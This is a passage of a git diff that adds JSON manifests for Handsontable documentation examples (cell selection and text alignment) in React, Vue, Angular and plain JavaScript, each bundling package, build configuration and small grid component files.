    \n \n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":".c-red {\n color: red;\n}"},"docsPath":"guides/cell-features/selection/react/example3.tsx","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example3","exampleTitle":"Modify the selected cells","docPermalink":"/selection","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example4.tsx.json new file mode 100644 index 00000000..1081cdf0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Selection · Style the selection area · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport './example4.css';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;","/src/example4.css":"/* First selection layer — applied to every selected cell */\n#example4 td.area {\n background-color: rgba(75, 137, 255, 0.2);\n}\n\n/* Second non-adjacent selection layer (Ctrl/Cmd + click) */\n#example4 td.area.area-1 {\n background-color: rgba(75, 137, 255, 0.4);\n}\n\n/* Third non-adjacent selection layer */\n#example4 td.area.area-2 {\n background-color: rgba(75, 137, 255, 0.6);\n}"},"docsPath":"guides/cell-features/selection/react/example4.tsx","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example4","exampleTitle":"Style the selection area","docPermalink":"/selection","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example5.tsx.json new file mode 100644 index 00000000..c0121c8c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example5.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Selection · Select cells programmatically · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const selectCell = () => {\n // Select a single cell: row 1, col 1 (B2)\n hotRef.current?.hotInstance?.selectCell(1, 1);\n };\n\n const selectRange = () => {\n // Select a range: row 1, col 1 to row 3, col 3 (B2:D4)\n hotRef.current?.hotInstance?.selectCell(1, 1, 3, 3);\n };\n\n const deselect = () => {\n hotRef.current?.hotInstance?.deselectCell();\n };\n\n return (\n <>\n
    \n
    \n \n \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/selection/react/example5.tsx","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example5","exampleTitle":"Select cells programmatically","docPermalink":"/selection","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example6.tsx.json new file mode 100644 index 00000000..e33c08ee --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__react__example6.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Selection · Jump across horizontal edges · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n const [autoWrapRow, setAutoWrapRow] = useState(true);\n const [autoWrapCol, setAutoWrapCol] = useState(true);\n\n return (\n <>\n
    \n
    \n \n \n
    \n

    \n Select a cell, then press Tab or → at the end of a row, or Enter or{' '}\n ↓ at the bottom of a column, to see the effect.\n

    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/selection/react/example6.tsx","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example6","exampleTitle":"Jump across horizontal edges","docPermalink":"/selection","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example1.vue.json new file mode 100644 index 00000000..9869e17d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Selection · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/selection/vue/example1.vue","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/selection","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example2.vue.json new file mode 100644 index 00000000..d6524a08 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Selection · Get data from the selected ranges · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/selection/vue/example2.vue","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example2","exampleTitle":"Get data from the selected ranges","docPermalink":"/selection","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example3.vue.json new file mode 100644 index 00000000..8ba46694 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Selection · Modify the selected cells · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-features/selection/vue/example3.vue","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example3","exampleTitle":"Modify the selected cells","docPermalink":"/selection","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example4.vue.json new file mode 100644 index 00000000..1cc5db4b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Selection · Style the selection area · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-features/selection/vue/example4.vue","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example4","exampleTitle":"Style the selection area","docPermalink":"/selection","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example5.vue.json new file mode 100644 index 00000000..07753e23 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example5.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Selection · Select cells programmatically · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/selection/vue/example5.vue","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example5","exampleTitle":"Select cells programmatically","docPermalink":"/selection","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example6.vue.json new file mode 100644 index 00000000..d271f9d6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__vue__example6.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Selection · Jump across horizontal edges · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example6\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/selection/vue/example6.vue","breadcrumb":["Cell Features","Selection"],"guide":"guides/cell-features/selection/selection.md","guideTitle":"Selection","exampleId":"example6","exampleTitle":"Jump across horizontal edges","docPermalink":"/selection","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__angular__example1.ts.json new file mode 100644 index 00000000..95f767f7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Text alignment · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-text-alignment',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n // generate an array of arrays with dummy data\n readonly data = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(18) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\n readonly gridSettings: GridSettings = {\n height: 320,\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n mergeCells: [\n { row: 1, col: 1, rowspan: 3, colspan: 3 },\n { row: 3, col: 4, rowspan: 2, colspan: 2 },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n className: 'htCenter',\n cell: [\n { row: 0, col: 0, className: 'htRight' },\n { row: 1, col: 1, className: 'htLeft htMiddle' },\n { row: 3, col: 4, className: 'htLeft htBottom' },\n ],\n afterSetCellMeta: (row: number, col: number, key: string, val: unknown) => {\n console.log('cell meta changed', row, col, key, val);\n }\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/text-alignment/angular/example1.ts","breadcrumb":["Cell Features","Text alignment"],"guide":"guides/cell-features/text-alignment/text-alignment.md","guideTitle":"Text alignment","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-alignment","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__javascript__example1.js.json new file mode 100644 index 00000000..6668e4c6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Text alignment · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(18) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data,\n colWidths: 100,\n height: 320,\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n licenseKey: 'non-commercial-and-evaluation',\n mergeCells: [\n { row: 1, col: 1, rowspan: 3, colspan: 3 },\n { row: 3, col: 4, rowspan: 2, colspan: 2 },\n ],\n className: 'htCenter',\n cell: [\n { row: 0, col: 0, className: 'htRight' },\n { row: 1, col: 1, className: 'htLeft htMiddle' },\n { row: 3, col: 4, className: 'htLeft htBottom' },\n ],\n afterSetCellMeta(row, col, key, val) {\n console.log('cell meta changed', row, col, key, val);\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/text-alignment/javascript/example1.js","breadcrumb":["Cell Features","Text alignment"],"guide":"guides/cell-features/text-alignment/text-alignment.md","guideTitle":"Text alignment","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/text-alignment","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__text-alignment__javascript__example1.ts.json 